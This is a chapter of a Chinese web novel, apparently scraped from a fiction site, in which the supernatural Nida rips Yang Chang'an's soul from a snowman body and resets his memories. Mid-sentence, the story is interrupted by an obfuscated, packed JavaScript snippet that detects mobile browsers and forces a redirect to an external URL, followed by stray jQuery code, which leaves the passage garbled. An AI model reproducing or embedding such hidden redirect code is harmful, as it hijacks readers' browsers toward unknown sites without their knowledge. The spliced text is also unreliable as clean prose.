26. 第 26 章
作品:《我的雪人》 伲答抱住了他,他们拥抱了很久很久。杨长安安抚似的,轻轻吻过她的额头,用手一遍一遍顺着她的背。
杨长安不愿再去回忆上一年发生了什么,也不想再去提起他们曾经相爱过,他只有很短的时间能够陪伴在伲答身边。伲答忘记了的事情,他记得就足够了。
伲答忘记了他也没关系,他会在每一年的雪季,再次来到这里。他会一遍又一遍地来到这里,见伲答。
他忽然想起之前对伲答说过的话,我会在周一和你说:你好。周二告诉你我已经对你一见钟情。周三对你献殷勤。周四带上你最喜欢的花邀请你和我共进晚餐。周五我们在月光下对视。周六你告诉我你也有些心动。周天我会拥抱你,悄悄对你说我爱你。
对着她说这些话的时候,杨长安只是想让她不再想他的病。现在回想起来,却想把一切没有实现的事都变成现实。
他们有数不尽的未来,不是吗?
所以他最后还是留在了这里。他们在这座村庄里度过了愉快的一周。这里处处留下了他们的笑声。
伲答甚至带着杨长安走到了山顶,两人挖了很久,在手被冻得通红之后,找到了一片干净的雪。
挖出那片雪的时候,伲答说,那是很久之前,她藏在这个地方的东西,其中有一半在杨长安的身体里。
不需要那么多外面的东西,伲答看着杨长安,她说自己可以变幻出所有自己想要的东西,她不缺少任何东西。所以,对于伲答而言,只用他留在这里就可以了。
这样的日子不知过了多少天,直到有一天,杨长安的公司打来电话,告诉他由于他无假旷工时间太长,所以他被开除了。
杨长安对此接受良好,他向几位管事的人道了歉。又向紧接着打电话来的杨荫说明了现在自己的情况。
他说他决定从此隐居山林,不再出去工作了。杨荫没说什么,只是让他注意保重身体。
伲答站在他后面,偷偷听他和别人打电话,看到杨长安挂了电话,伲答走上前,对他说:“她生病了,你要回去吗?”
这句话让杨长安睁大了眼睛,他不知道伲答的这句话是对他留在这里的决定的试探还是已经发生在杨荫身上事实。
杨长安没有说话,只见伲答笑了笑,蹲在他身边,笑着说:“骗你的。”
这句话的语气和内容让杨长安捏紧了手里的东西,他再一次转过头看伲答的反应,立马反应过来这是真的。
杨长安一直不太明白,自己对于伲答而言,可以算作是什么。他究竟只是一个如同玩具一般的雪人,还是一个拥有独立人格的爱人?杨长安难以分辨,也无从得知。
也许是一种逃避,因为这一年的伲答对他的爱,一直带着不加掩饰的控制。
他在原地想了半天,最后还是找到了伲答,对她说,自己想要离开这里,但处理好一切之后,他马上会回来。
伲答看着他,点了点头。杨长安松了口气,他低下头,安静地等待伲答的举动。
她伸手碰了碰杨长安的额头,可是这个举动带来的感受却远远超出杨长安的预料。伴随着伲答的动作,发生在他身上的是一阵难以想象的痛苦。
伲答把他的灵魂从那个特别的雪人里拔了出来。
“留在这里,永远永远。”
伲答握住了手里的灵魂,她的脸上既无欣喜,也无痛苦。
“选牌。”桌子对面的人发出了命令。他的身影完全隐在黑暗中,看不见一点轮廓。
杨长安不知道对面坐着的人是谁,但他的命令如同压倒的山,令杨长安几乎无法呼吸。
抽牌!抽牌!抽牌!这样的声音不断地在杨长安的脑海里发出噪声。
迫于压力,杨长安只得低头看着桌面的牌,在他面前一排铺平的牌正面朝上,放在桌子上。每张牌上画着不同的图案,而他只是瞥了一眼,就明白每一张牌后面的含义。
他的手指从最前面的牌滑到最后面一张,触摸到每一张牌时,他都能够看到一个陌生的女人,她看着自己,手里握着一团不知是什么的东西。那东西明明暗暗,因他的选择而发出不同程度的光。
杨长安不知道这样的选择有什么意义,就好像打扑克时,对方忽然把自己的牌和剩下来的牌亮出来,问他要怎么打。
怎么打呢?每一张牌代表了他的命运?每一个选择预示着对方会怎么对待自己?
不是的,杨长安的手指落在最中间的牌上,那张牌被对面的人抽了出来。
坐在黑暗里的人指着那张画了数不清细点的牌说:“抉择?”
杨长安点点头,说:“抉择。”他命运的选择永远握在他的手里,即便,杨长安抬起头,他隐隐感觉到,这是一个虚假的环境。
即便将他关在这里,最终的抉择也会由他来做出,杨长安捏着手里的牌。牌面上无数的光点脱离出来,钻进杨长安的身体里。他失去了意识。
随后是意识忽然回归到身体里,杨长安睁开眼睛,环顾四周,发现他正坐在一辆大巴车上,刚刚睡醒的脑子还有些迟钝,他猛地反应过来,之所以自己坐在车上,是因为自己没有抢到回家的票,不得不乘上这辆旅游大巴,蹭车回家。
他闭上眼,正准备靠在身边的玻璃窗上睡觉。就在这时,有个声音忽然在他耳边响起。
“喂,这里有人坐吗?”女人低下头问他,她眯着眼笑着。
“没。”杨长安把身体往内缩了缩。女人毫不客气地坐了下来,还把手里的一堆东西递给杨长安。
杨长安环顾四周,没人准备接过来,于是身处女人对面的他只好伸出自己的手,接过了那一堆零零散散的东西。
看他接过了自己的东西,女人笑着对他说:“谢谢你帮我。”
不打算回应这句话,杨长安摇摇头示意没关系。他在心里抱怨:还真是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587003|171144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不客气。
“你一个人吗?”女人俨然不准备放过他,她坐好之后,就凑过来问杨长安。
杨长安不知道自己的回答会不会把这段对话没完没了地进行下去,所以他索性将很多事都并在一起说了。他转过去,客气地笑笑,说:“我是村子里的人,这次回家要说不定能有机会祭神。祭神工作很忙的,所以,我要睡一会儿。”
“哦。”女人略带不满地发出声音。
她拉住杨长安的衣袖,问:“你想要活下去吗?”
杨长安抽回自己的衣袖,余光瞥到她手臂上的草编链子,不知为何,本来不耐烦的情绪消下去了一些。他认真地想了想,坦诚地对女人说:“现在我只想睡觉。”
“你好,我叫伲答。”女人见他不理自己,她着急地扯了扯杨长安的衣服。
杨长安叹了口气,翻了个身,转过去,没理她。
伲答睁大了眼睛,她回忆起自己之前捏碎重组杨长安的过程,难道她做得太彻底了吗?
她只是想要把他困在这里,却没有想过,失去了记忆的杨长安是否还会再一次爱上自己。
她从未想象过自己会遇见一个对自己全然不搭理的杨长安。伲答有些慌神,但她很快又恢复好自己的心态。
翻身靠里的杨长安则没由来地感到莫名心虚,但睡意压倒了一切,他很快就昏昏沉沉地睡了过去。
一觉醒来,已经到村子大门口了。他没动,等着女人收拾好东西离开之后,才慢慢起身拿自己的行李。
三两步跳下了车,杨长安发现那个女人仍然立在这辆大巴车的车门旁边。
风刮起她松散的长发,显得她那双明艳的眼睛愈发明亮。杨长安的心漏跳一拍,但他很快想到女人在车上的所作所为,再一次看了女人一眼,他头也不回地走进村子里。
他离开了很久,村子里的人见他回来,都热情地上前和他打招呼,他们一群地涌了上来,把他围在中间,寒暄了几句。
杨长安向来不擅长应对这种社交,但由于都是一个村子里的人,他也没办法,只好敷衍地点着头,嘴上挂着一个客气的笑容,仍由别人的话如同流水一样,从左耳朵进去,又从右耳朵滑了出来。
一群人围在村子门口,村长也朝这边走了过来,他很是用力拍了拍杨长安的肩膀,紧紧地握着他手大声地说道:“欢迎回家。”
杨长安的手被捏得有点疼,但他还是笑了笑,对村长说:“我回来了。”村长挥了挥手,挥散了围做一团的村民,小声地和他说起这次仪式的细节。这是杨长安第一次参与到村里的仪式,村长将几个特别要注意的东西和一定不能弄混的顺序反反复复地向杨长安强调。
杨长安的耳朵都快要被磨出老茧了,但又不能打断他,也不能直接离开。他只能无奈地点点头,说:“行,没事的。”
点完头,他忽然想起刚刚自己在车上,好像也是这样。